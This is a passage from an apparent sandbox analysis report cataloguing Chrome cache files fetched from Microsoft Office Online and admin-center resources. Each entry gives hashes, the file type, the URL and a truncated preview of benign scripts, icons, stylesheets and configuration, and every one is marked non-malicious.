Preview:	if (window.Type && window.Type.registerNamespace) {..Type.registerNamespace("Strings");} else {..if(typeof(window['"Strings"']) == 'undefined') {..window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;..}....}..Strings.OfficeOM=function(){};if (Strings.OfficeOM.registerClass) Strings.OfficeOM.registerClass("Strings.OfficeOM");Strings.OfficeOM.L_APICallFailed="API Call Failed";Strings.OfficeOM.L_APINotSupported="API Not Supported";Strings.OfficeOM.L_ActivityLimitReached="Activity limit has been reached.";Strings.OfficeOM.L_AddBindingFromPromptDefaultText="Please make a selection.";Strings.OfficeOM.L_AddinIsAlreadyRequestingToken="Add-in is already requesting an access token.";Strings.OfficeOM.L_AddinIsAlreadyRequestingTokenMessage="The operation failed because this add-in is already requesting an access token.";Strings.OfficeOM.L_ApiNotFoundDetails="The method or property {0} is part of the {1} requirement set, which is not available in your version of {2}.";String

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30497), with no line terminators
Category:	dropped
Size (bytes):	30497
Entropy (8bit):	5.0064253326064065
Encrypted:	false
SSDEEP:	384:NpM3QZmZwe3CDLqHOGRvCEWMYdd9KaAQnzkY65dv:NpM3QZbLqHO4XYdd9KvQnzkY65dv
MD5:	E55F3C2F2F2F2A339E4B0A08030E9803
SHA1:	729D608C534829E07F5DCDBBD75BBC031A9E9D9A
SHA-256:	40CBE329851D4261E0E4A3B3665FD1025747AAC3CBFD87689CF3F2689CACF4E9
SHA-512:	CB67A880ECAA6F59844F6604BB98A7E27AB64F639AC79BA683C164A2A809BFAF1D3B224CC50138846B8646EF05409820AEE490BA83D637145E16A78E67CF4847
Malicious:	false
Reputation:	low
Preview:	Type.registerNamespace("WoncaIntl");WoncaIntl.WoncaStrings=function(){};WoncaIntl.WoncaStrings.registerClass("WoncaIntl.WoncaStrings");WoncaIntl.WoncaStrings.L_RibbonLabel="Ribbon";WoncaIntl.WoncaStrings.L_TabHome="Home";WoncaIntl.WoncaStrings.L_TabInsert="Insert";WoncaIntl.WoncaStrings.L_TabWordDesign="Design";WoncaIntl.WoncaStrings.L_TabReferences="References";WoncaIntl.WoncaStrings.L_TabMailings="Mailings";WoncaIntl.WoncaStrings.L_TabReview="Review";WoncaIntl.WoncaStrings.L_TabView="View";WoncaIntl.WoncaStrings.L_TabDeveloper="Developer";WoncaIntl.WoncaStrings.L_TabAddIns="Add-ins";WoncaIntl.WoncaStrings.L_TabTableTools="Table Tools";WoncaIntl.WoncaStrings.L_TabLayout="Layout";WoncaIntl.WoncaStrings.L_TabPictureTools="Picture Tools";WoncaIntl.WoncaStrings.L_TabFormatPicture="Format";WoncaIntl.WoncaStrings.L_TabDesign="Design";WoncaIntl.WoncaStrings.L_TabHelp="Help";WoncaIntl.WoncaStrings.L_GroupUndoRedo="Undo";WoncaIntl.WoncaStrings.L_GroupClipboard="Clipboard";WoncaIntl.WoncaString

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2254
Entropy (8bit):	5.151969744220756
Encrypted:	false
SSDEEP:	48:YovlHqvlWByHkYyqISOvgDdZytvfP6fREuv+REucEgukXX1BJyHkYyqISOvgDdZl:9tCOMPISOvgDHUa5Fk/+PMPISOvgDHUQ
MD5:	BE50F587589C590336633832DE40FDF3
SHA1:	1E06DE6F6841559DE2ADF74F97F3411F00CF0D15
SHA-256:	52DC35BEF3F907A7B37F8307AEACA6CD7E3A4EA0CC4D1BF07DA0B221ACA15919
SHA-512:	B299EA0F05EE04AFDB2DE8EEC00833286955E8F2E3ED82FA0CBCE5B084846C963840DD9D40966C886D661C6644C8B642602A23C8C83C8D4290880883C71FD2DA
Malicious:	false
Reputation:	low
URL:	https://admin.microsoft.com/admin/api/uxversion?bldVer=v1
Preview:	{"floodgate":{"cdnUrl":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/","loaderSpec":{"type":"scriptUrl","content":"https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/floodgate.en.bundle.js"},"version":"2024.7.1.7"},"ariaLoggerId":"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad4d38-7330","hostingAppUrls":"{\"M365AdminPortal\":\"https://admin.microsoft.com\",\"EXOAdminPortal\":\"https://admin.exchange.microsoft.com\",\"SPOAdminPortal\":\"https://admin.microsoft.com/sharepoint\",\"TeamsAdminPortal\":\"https://admin-int.teams.microsoft.net/\",\"MSGraphEndPoint\":\"https://graph.microsoft.com\",\"CDNContentURL\":\"https://res.cdn.office.net/admincenter/admin-content\",\"AriaLoggerGlobalCollectorEndpoint\":\"https://mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerEUCollectorEndpoint\":\"https://eu-mobile.events.data.microsoft.com/Collector/3.0\",\"AriaLoggerId\":\"ea84b6a3285140258eaeb7caaab5884a-9d3ca75b-b3ee-42b8-a22c-ab0759ad4d38-7

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h9E1DA5BF71513549_resources/1033/FavIcon_OneNote.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1551523
Entropy (8bit):	5.420848223398233
Encrypted:	false
SSDEEP:	24576:LKYsBU/YmOJrmbCjYDvpttZwJbhTJrSK4VxjPHRYOI+AmOkmMOkxQYFQZMjh5RR0:+YsBUAJrmbCcDvpttZwJbhTJrSK4Vxj4
MD5:	A714CF3CDAACD2A2F8985CF2D4FF9C10
SHA1:	50BBCEA2846BF9E3956B1596E07961AFF9C9EFF0
SHA-256:	8ADCBF3FE903537D4857659EA131451CC882904BBD921E47F55DCEB13F6E6E5F
SHA-512:	88FB8DBA23C22FE6B2DF51E961DC8AF227A7E23E8CCBC3F19CD36ED20EE38F6A27D53CF0F00BB532F1BF82A2E21202F345CC4BD3D84486A47CF077EABC61573A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/common.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56385)
Category:	downloaded
Size (bytes):	199053
Entropy (8bit):	5.092874155657028
Encrypted:	false
SSDEEP:	6144:h5IoymwzWHXzZnoK5fMO6kvBoKrpQmK4Zbwmk29X9vvNCYzRtZ:VwOoK5fMO6kvBoKrpQmK4Zbwmk29X9vZ
MD5:	903DACFBC953A7A420B7FD642B81C739
SHA1:	78B734706728C6027544C53E860646812DD5A4A9
SHA-256:	E4382762F22F1A9A8EB69D8F1AF8973B02795BBFA0DF551F667316EF97D1B74A
SHA-512:	52330BF957FA81CC47FEBC4EE215EB1B1A4F987A63C938A8034308C26C75F2118EAA93B6D71B252B8E7D0308841A0FC2BC1302907F8A8572A4A0B17F23144CD6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hE4382762F22F1A9A_App_Scripts/1033/common-intl.min.js
Preview:	var CommonStrings={qpsPloc_Name:"Pseudo",qpsPloca_Name:"Pseudo (Pseudo Asia)",qpsPlocm_Name:"Pseudo (Pseudo Mirrored)",afrikaans:"Afrikaans",albanian:"Albanian",alsatian:"Alsatian",amharic:"Amharic",arabic:"Arabic",arabic_Algeria:"Arabic (Algeria)",arabic_Bahrain:"Arabic (Bahrain)",arabic_Egypt:"Arabic (Egypt)",arabic_Iraq:"Arabic (Iraq)",arabic_Jordan:"Arabic (Jordan)",arabic_Kuwait:"Arabic (Kuwait)",arabic_Lebanon:"Arabic (Lebanon)",arabic_Libya:"Arabic (Libya)",arabic_Morocco:"Arabic (Morocco)",arabic_Oman:"Arabic (Oman)",arabic_Qatar:"Arabic (Qatar)",arabic_Saudi_Arabia:"Arabic (Saudi Arabia)",arabic_Syria:"Arabic (Syria)",arabic_Tunisia:"Arabic (Tunisia)",arabic_UAE:"Arabic (U.A.E.)",arabic_Yemen:"Arabic (Yemen)",armenian:"Armenian",assamese:"Assamese",azerbaijani:"Azerbaijani",azerbaijani_Cyrillic:"Azerbaijani (Cyrillic)",azerbaijani_Latin:"Azerbaijani (Latin)",bangla_Bangladesh:"Bangla (Bangladesh)",bangla_India:"Bangla (India)",bashkir:"Bashkir",basque:"Basque",belarusian:"Bela

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42918)
Category:	downloaded
Size (bytes):	211355
Entropy (8bit):	5.527377775987756
Encrypted:	false
SSDEEP:	3072:G0xHuD2JP5K3klIEXSTfgQv64hW7tvXZ0LGu0tXLo8HxZVv:9uDOY3kGmSLglDpoWXLo8l
MD5:	560BCEBF4A0C8397D7F4685393D64532
SHA1:	F4AD19103A97C4DA6185BAE2DF0D7A7831A1F95D
SHA-256:	6F7011E775C816B2DDF8E6F53A32035BCB80488AE675B85AE58744F83924D0D1
SHA-512:	B2493B5F09B2E5CFE35A98582073E7D35A05B51E122DD867249577D888C395759712FE5FABA9CDD33E790E2FF2D2456480D0BEDBA06D8F3E507084C13906BA94
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/js/suiteux.shell.plus.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_plus_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["plus"],{64878:function(e,t,n){(t=e.exports=n(72060)(!1)).push([e.id,'.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;border:1px solid hsla(0,0%,100%,0);box-shadow:0 1px 2px 0 rgba(0,0,0,.1);box-sizing:border-box;width:276px;padding-left:0;align-items:flex-start;margin:0 0 17px 16px}html[dir=rtl] .o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={margin-left:0;margin-right:16px}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=:hover{-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.1);box-shadow:0 8px 16px 0 rgba(0,0,0,.1)}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=>button{min-width:30px;width:30px;height:36px;paddi

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	7886
Entropy (8bit):	3.675002721266739
Encrypted:	false
SSDEEP:	96:HOmS/+CtmE8mmmmm08mmmmmtf8mmmmmO8mmmmm+8mmmmmo8mmmmmo8mmmmmSC3on:AGHFk
MD5:	7A7A4890CAAA77025E1B33A6D6E474EE
SHA1:	DC735B99D9EF0C76B4A7AEAE8BAA4CBD9551BA77
SHA-256:	9E1DA5BF715135491519A188CAD977DB6CBA414071E2407B69D63221379D8802
SHA-512:	291692981A555857F95A3378B511E27B60154B95EA0BA0452B3A5536D9A63A16B00518066E4F4B60E6A73CBD2A7C46B99A18102EA5970989B9736E57A6474D30
Malicious:	false
Reputation:	low
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... ..........................................................................................................................................................................................................................................................................................................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................P...P...P...P...P...P...P...P...T...d...d...d...d...d...d...d...d....w...w...w...w...w...w...w..................................H...H...H...H...H...H...H...H...H...\...d...d...d...d...d...d...d....w...w...w...w...w...w...w...........

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12695)
Category:	downloaded
Size (bytes):	1191383
Entropy (8bit):	5.476251679821947
Encrypted:	false
SSDEEP:	12288:wprMrx3esY3T4lVsosvhTNeP4UM+P3m2vC:wpnvslVsoCs1mv
MD5:	FAFC5A3C86A3FCF67D6EA79F2B5BE663
SHA1:	1EAD9CB01A5783370C61617410F021C0C4D7E01F
SHA-256:	4E9595D3356A63CD7BF1F0F7CE16FAF6E882178091864AB9EFD3E5A0DEC7557A
SHA-512:	1BFFCFE1B4AB58D5A5864121FC0B220F87C3E401B050961F62A0E2D33448FF263503104D2CF5FCF7A9D344522FA71C8CE64B6AA61F906921BEF324094122A14E
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/admincenter/admin-main/2024.7.1.7/floodgate.en.bundle.js
Preview:	!function(){var e,t,r,n,o,a={4676:function(e,t){e.exports={Form:{Cancel:()=>"Cancel",CommentPlaceholder:()=>"Please do not include any confidential or personal information in your comment",EmailPlaceholder:()=>"Email (optional)",Submit:()=>"Send",Title:()=>"Feedback to Microsoft",TemplateErrorMessage:()=>"One or more questions are required or the input is not valid"},Questions:{ContactMeQuestion:()=>"You may contact me about this feedback"},Common:{LoadingText:()=>"Loading, please wait..."},Error:{ErrorMessage:()=>"Survey failed to load"}};},6870:function(e,t){e.exports={CloseLabel:()=>"Close dialog",EmailTextFieldPlaceholder:()=>"Email (optional)",EmailTextFieldInputError:()=>"Email address is invalid",CommentTextFieldPlaceholder:()=>"Please do not include any confidential or personal information in your comment",CommentTextFieldMaxLengthText:e=>"."+e.remainingMaxLength+". of ."+e.maxLength+". characters remaining",EmailConsentCheckboxLabel:()=>"You can contact me about this f

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10290
Entropy (8bit):	4.837717444305284
Encrypted:	false
SSDEEP:	192:iAY/Yye00RR2WxnYkSSWmcrKnmuV2UmHPRmCHpoRqiKaUVIv4DLhBA:w0RR2WxnYk5Wmw8ipo0Hu
MD5:	4DF9B0011F8AE623E26116BC635CFB36
SHA1:	0D68BBCB58D190F6E2803043A1823A3826325F33
SHA-256:	47D6DBDB766BD7EA675F68A5CE5A22654554001EFC7007A0B8C484069D9E2638
SHA-512:	3BD8C4FDCC43199DB8D4EA1E668495837AF3931EAD7EA4AC16D775D3FBDF3BC35833CF2DF86BE8492EDC82090A1ED2B79A4DC3233BC3FD064F7C46424B403745
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/moeerrorux.css
Preview:	.moe-infobar-body {.. background-color:#FCF7B6;.. border:1px solid #D9D98B;.. position:relative;.. max-height:110px;.. overflow:hidden;.. white-space: normal;..}.....moe-infobar-body:hover {.. background-color:#FEF294;..}.....moe-hovered {.. background-color:#FEF294;..}.....moe-infobar-infotable {.. width:100%;.. height:100%;.. max-height:110px;..}.....moe-infobar-top-left-cell {.. width:30px;.. min-width:30px;.. max-width:30px;.. vertical-align:top;.. padding:1px; ..}.....moe-infobar-message-cell {.. padding:7px 7px 3px 0px;.. vertical-align:top;..}.....moe-infobar-top-right-cell {.. width:20px;.. min-width:20px;.. max-width:20px;.. vertical-align:top;..}.....moe-infobar-button-cell {.. padding:0px 10px 6px 0px;..}.....moe-status-warning-icon{.. position:absolute;.. clip:rect(0px 42px 41px 0px);.. top:0px;.. left:0px;.. .. .. .. .. .. ..}.....moe-status-warning-icon_ie{.. position:ab

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	2743
Entropy (8bit):	5.138744724685597
Encrypted:	false
SSDEEP:	48:c8Ax81yL73bao2Q6tSJ1/2VaObOxMq9F1zt82LFjnpAz12IezmU+J2QezcNVF:tAMy/Laox116q9F1ztFNnpAz1KzGD
MD5:	03FD32F2E28EBDE4EC38156C83EEEE10
SHA1:	518410F8BC555BC44E361CD50A4F20366896A36E
SHA-256:	3CB6C640746A34590CC7FAA34E0FF24804AA947927DCAB6E50CDE0902033E421
SHA-512:	ADD9342EAA18BDE5C66DA20C28A78B03A30E4DA311F56DFF3F3EF197727697E164E6CF82EDBBA9518D2CBDF706C7016857D9004B654D7F112A641B09BFDEF6A5
Malicious:	false
Reputation:	low
URL:	https://fa000000128.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2406.22002/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">. <Id>8ef9aa39-de6e-4fb7-841a-f0f08546d398</Id>. <Version>1.0.0.0</Version>. <ProviderName>Microsoft Office Services</ProviderName>. <DefaultLocale>en-US</DefaultLocale>. <DisplayName DefaultValue="Copilot"/>. <Description DefaultValue="Copilot"/>. <IconUrl DefaultValue=""/>. <HighResolutionIconUrl DefaultValue=""/>. <AppDomains>. <AppDomain>https://fa000000128.resources.office.net</AppDomain>. <AppDomain>https://res.cdn.office.net</AppDomain>. <AppDomain>https://res.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.public.cdn.office.net</AppDomain>.

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	30974
Entropy (8bit):	5.177553608210767
Encrypted:	false
SSDEEP:	384:E+0bYnS5mOd5Mr67VY/63pZXpBYQhyKXFgo:E+0bAOd5xTnEMy2T
MD5:	9D90D12454A88498D9C9EF5759E2CE58
SHA1:	043FA3B42F2D36FCE35DFBECF96B8B0F5EFD00D7
SHA-256:	FBDC6F74215081A5DAAF56BC37EBEF1E95A30B61AF9773DF240B9813C4C007B4
SHA-512:	46682218DB55C967C8AFA72C998F91A0B786D6F0F54F452399D502B88259D9C40773875DF34111C81A1038E22A573C38985924CBFBC07D6E48E139DD77812617
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/shellux/api/ShellBootInfo/consumer/OneShell/en-us
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20240712.4.0","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c.5933cd0888c6d82621b8.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-518b5c.5933cd0888c6d82621b8.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-cfbf2c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-816890cd89ff7f935502_node_modules_mecontrol_flue-cfbf2c.3e23477a05511fc98616.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (581)
Category:	downloaded
Size (bytes):	2267776
Entropy (8bit):	5.610635507166961
Encrypted:	false
SSDEEP:	49152:UtWaOCUmhrq7ipYvYsxQFiDU6S4jWULal/8sb4MPqCwD3Ue1oyLjQ9b9qdpoUkhZ:9uGQx2FTRo
MD5:	E5E125289CAB9A7E238710F3706DD4C3
SHA1:	D802CD8D5C0632884665BF727E51E9E379E271AE
SHA-256:	D256F29079F837AC7CBD1C8E72EC48675AD04E38757D044833FC3259337D4A8C
SHA-512:	21DA5864BBCC667F751B6BC106194C1AD11372EC99C1459A40DEA129CB9F9EC10899293E391D68645D9BAAF0E3406CBF3533F70C3DD035CF85056C3834C08A2A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hE092932DC89E7EC8_App_Scripts/OneNoteDS.box4.dll1.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[1],{56494:function(Ba,$a,R){R.d($a,{a:function(){return X}});Ba=R(6885);var Ga=R(33067),La=R(19780),Ta=R(22137),K=R(69525),W=R(23866),d=R(83068),n=R(77836),k=R(4461),l=R(86250),u=R(72997),e=R(66511),B=R(54170),h=R(4638),w=R(18268),A=R(90491),G=R(60004),I=R(70398),F=R(93518),C=R(34914),t=R(405),M=R(27673),J=R(30549),L=R(32393),v=R(73379),r=R(9376),z=R(27944),H=R(35197),D=R(27557),O=R(53997);class U{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,Ba.a)(U,"InkPacket",null,[]);var S=R(95249),T=R(66617),Z=R(32935),ca=R(24372),ea=R(92033);class X{static get sJc(){return W.a.instance.resolve("OneNote.IInkEditor")}static get F7(){return d.FocusManager.instance()}static get Elb(){return X.Re\|\|(X.Re=W.a.instance.resolve("Box4.ICaretPositionManager"))}static get zAa(){return X.kb\|\|(X.kb=W.a.instance.resolve("Box4.ICevViewContentManager"))}static ju(){return X.mj\|\|(X.mj=W.a.instance

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64817)
Category:	dropped
Size (bytes):	734694
Entropy (8bit):	5.272863920108225
Encrypted:	false
SSDEEP:	6144:s19A7bfCfEXdR+PcLUFKik94vpVb/+w13Ko39hKENjadLCLjNn+S0nVk3oxS/yYj:HOhKwuW5T
MD5:	BF18F2CAE41AD438A1698BF331A13BFA
SHA1:	C16D6CB22C17604733F385A95A7A09FBE3DDC297
SHA-256:	4CD387FD6EF9CDBF3F1EA01B08E6D2666CE6CCF661D9B95D9CF8380836117DE5
SHA-512:	80119F4FB76D5189CF24C212F5177D4F923A0B0E80B5B6FEA6317AE44C26143228DB227A0CB040C86BE2D4F43278745841F6F721EF6A75ED6596DB40B1B421BD
Malicious:	false
Reputation:	low
Preview:	/* Office runtime JavaScript library /../..Copyright (c) Microsoft Corporation. All rights reserved../.../. Your use of this file is governed by the Microsoft Services Agreement http://go.microsoft.com/fwlink/?LinkId=266419... This file also contains the following Promise implementation (with a few small modifications):. * @overview es6-promise - a tiny implementation of Promises/A+.. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald). * @license Licensed under MIT license. * See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE. * @version 2.3.0.*/.var __extends=this&&this.__extends\|\|function(){var e=function(t,n){return e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},e(t,n)};return function(t,n){if("fu

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 222 x 204, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6336
Entropy (8bit):	7.887073484659419
Encrypted:	false
SSDEEP:	192:wx46x27I7L8lRcTx3HCHBDA3B6VHj6V+Jcj:Ktv8lROx34ZA3B6VH+kO
MD5:	5D71229F6CA9EBFF5F7972F01B547C7C
SHA1:	4D71B33506E6F0EBA1C783DE37E36480F2E392BE
SHA-256:	ABC0FA95B72F082CF4FBB18267CDBD282F2909B65B1B479D7F339DB41769946E
SHA-512:	31915EB859D432D714CAA2DFF74B7E760DFFE3A672CD872EB8CF07EDDC3B544578640C315CD47802B34F4BF06B31D290C9CBEAB228BC1FA64BDAF36DC523273A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............y.'....IDATx^.....y.....)...5..MT....6./..f.m,@......W.A...o&..$.Q."7............ 0k.VdI..VL.`...w.k\|;...u....=.sf.~....s.9g/w..9.<.93..".H$]]..ttt......7g.ys.0}zg..3u....E.$C...G....\|'N...jk.f.....i..X0....X8....C....^;v..:..:.a.m....rz.x<..c..q..>..S...t.s....<...o..Cw.y......<x...*....6e........3.._..9H.f..}.._......m.F.#.Wd...(.J........\|yB....\|...+."O+.B.=..^.6-cK...\|./.t..m .f._...F.E.oum\..>.7l..l.<.f..[.H.mZFiC...-_..#....[.d..{........Z.~dd.......t.../`S.^.z...........-....Gm...n....m..2...#n!%..Ci.j..t....7..M...........8t.......^..h..d..]a.....K....L.....x6\|6xM.s.M.../.]...=..........<4..l.......e......>J1.....D.;w.\|..fY...x........m....W.+...9.Q>S.l..J.U.f0..._Z..Y....._s.O..!.2....u&..zo.z.-..>S..p....... .....x=u..2.M.jGb..G9.V.<;d."x@...@.......c.f.p......5....ZQ..8].<^.)c..f(.W....[...^.....gCW&.$i...I.&x.0.~8..!.x.t../>.c..:.(..cN..]XD..-...gk{.gCW9....<.'.l.... ..v.........<.....).

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20082), with no line terminators
Category:	downloaded
Size (bytes):	20082
Entropy (8bit):	5.3785189328644485
Encrypted:	false
SSDEEP:	384:Tt1CTbGLeulh4MQOCS9AKBINrXNlQihhST3iT00XazfPTZsn:p1GTuli2gKBkrPTpqrTZs
MD5:	58A30E58FBE0165292F0425B04256E46
SHA1:	420050FE7E6034D52094B2F769FDB12A3591A748
SHA-256:	534ECF698946529FF99C868DA810DAB8E1E9C7491EBDC873BDF95D34ABF75C4E
SHA-512:	6127E32FC185C33353C75180F2B54DFE28E471558FF2478B23C8AB64511BFBAC0AA6200740F94186F0CC56F5D6137C9BD7F16BA3580F4E994A064B7E5AE67D44
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/LearningTools/LearningTools.js
